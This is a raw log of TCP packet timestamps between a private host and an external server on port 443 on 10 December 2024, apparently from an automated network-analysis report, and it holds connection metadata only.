Dec 10, 2024 12:48:57.374612093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.374659061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.374664068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.374701977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.379816055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.379832983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.379878044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.379883051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.379929066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.386194944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.386210918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.386265039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.386270046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.386313915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.391484976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.391499996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.391546011 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.391551018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.391592979 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.397387981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.397428989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.397458076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.397463083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.397491932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.397521973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.523961067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.549328089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.549349070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.549418926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.549427986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.549474955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.555455923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.555471897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.555550098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.555557013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.555600882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.560606956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.560626030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.560681105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.560687065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.560731888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.566551924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.566567898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.566611052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.566616058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.566660881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.572593927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.572608948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.572660923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.572666883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.572710991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.578131914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.578150034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.578192949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.578197956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.578243017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.584161997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.584177017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.584233046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.584239006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.584283113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.589541912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.589556932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.589612007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.589617968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.589663029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.715121031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.743752956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.743777037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.743844986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.743853092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.743889093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.743906975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.748663902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.748680115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.748734951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.748742104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.748785973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.755049944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.755067110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.755115986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.755120993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.755162954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.761303902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.761318922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.761372089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.761378050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.761415005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.767848969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.767864943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.767923117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.767929077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.767971039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.773755074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.773772001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.773823023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.773832083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.773869038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.779149055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.779170990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.779221058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.779227018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.779238939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.779268980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.785248995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.785264969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.785326958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.785332918 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.785377026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.902242899 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.937855959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.937874079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.937941074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.937949896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.937998056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.943969965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.943985939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.944060087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.944063902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.944104910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.949413061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.949429989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.949497938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.949503899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.949539900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.955180883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.955197096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.955250978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.955257893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.955295086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.961256027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.961272955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.961333036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.961338997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.961386919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.966937065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.966962099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.967003107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.967015028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.967034101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.967051983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.972923994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.972944021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.972990036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.972996950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.973009109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.973028898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.978204012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.978220940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.978260994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.978269100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:57.978287935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:57.978301048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.095448017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.126828909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.126854897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.126931906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.126939058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.126982927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.132853985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.132869959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.132925987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.132931948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.132976055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.138128996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.138144016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.138191938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.138196945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.138242006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.144366026 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.144381046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.144431114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.144437075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.144484043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.150079966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.150094032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.150149107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.150156975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.150194883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.155662060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.155675888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.155730963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.155736923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.155775070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.161706924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.161721945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.161773920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.161778927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.161819935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.167084932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.167107105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.167152882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.167156935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.167185068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.167208910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.284984112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.318528891 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.318556070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.318634033 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.318641901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.318686962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.324486971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.324502945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.324543953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.324548960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.324594021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.329735041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.329750061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.329802990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.329808950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.329849005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.335783958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.335802078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.335855961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.335860968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.335902929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.341734886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.341748953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.341794968 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.341799021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.341840029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.347389936 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.347404003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.347456932 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.347461939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.347501993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.353327036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.353341103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.353384018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.353388071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.353425980 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.358589888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.358604908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.358664989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.358670950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.358716965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.476555109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.510689020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.510711908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.510781050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.510791063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.510862112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.516654015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.516670942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.516721010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.516726971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.516771078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.521939993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.521955013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.522005081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.522011042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.522061110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.527940035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.527961016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.528017998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.528023958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.528064013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.533847094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.533865929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.533905029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.533910036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.533937931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.533945084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.539567947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.539588928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.539637089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.539643049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.539683104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.545449972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.545464993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.545526028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.545530081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.545577049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.551476002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.551500082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.551556110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.551559925 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.551601887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.669989109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.703085899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.703114986 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.703186035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.703197002 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.703238964 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.708817959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.708842039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.708899021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.708908081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.708966970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.714819908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.714843035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.714888096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.714891911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.714915037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.714937925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.720113039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.720134974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.720179081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.720185041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.720210075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.720232010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.726025105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.726041079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.726095915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.726102114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.726144075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.731709957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.731733084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.731779099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.731786013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.731873989 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.737732887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.737755060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.737792969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.737797976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.737822056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.737840891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.743663073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.743685007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.743737936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.743742943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.743782043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.860277891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.895500898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.895528078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.895581007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.895595074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.895606041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.895633936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.901350021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.901372910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.901410103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.901420116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.901443958 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.901463032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.907356024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.907376051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.907432079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:58.907440901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:58.907474995 CET	49729	443	192.168.2.17	47.254.218.16
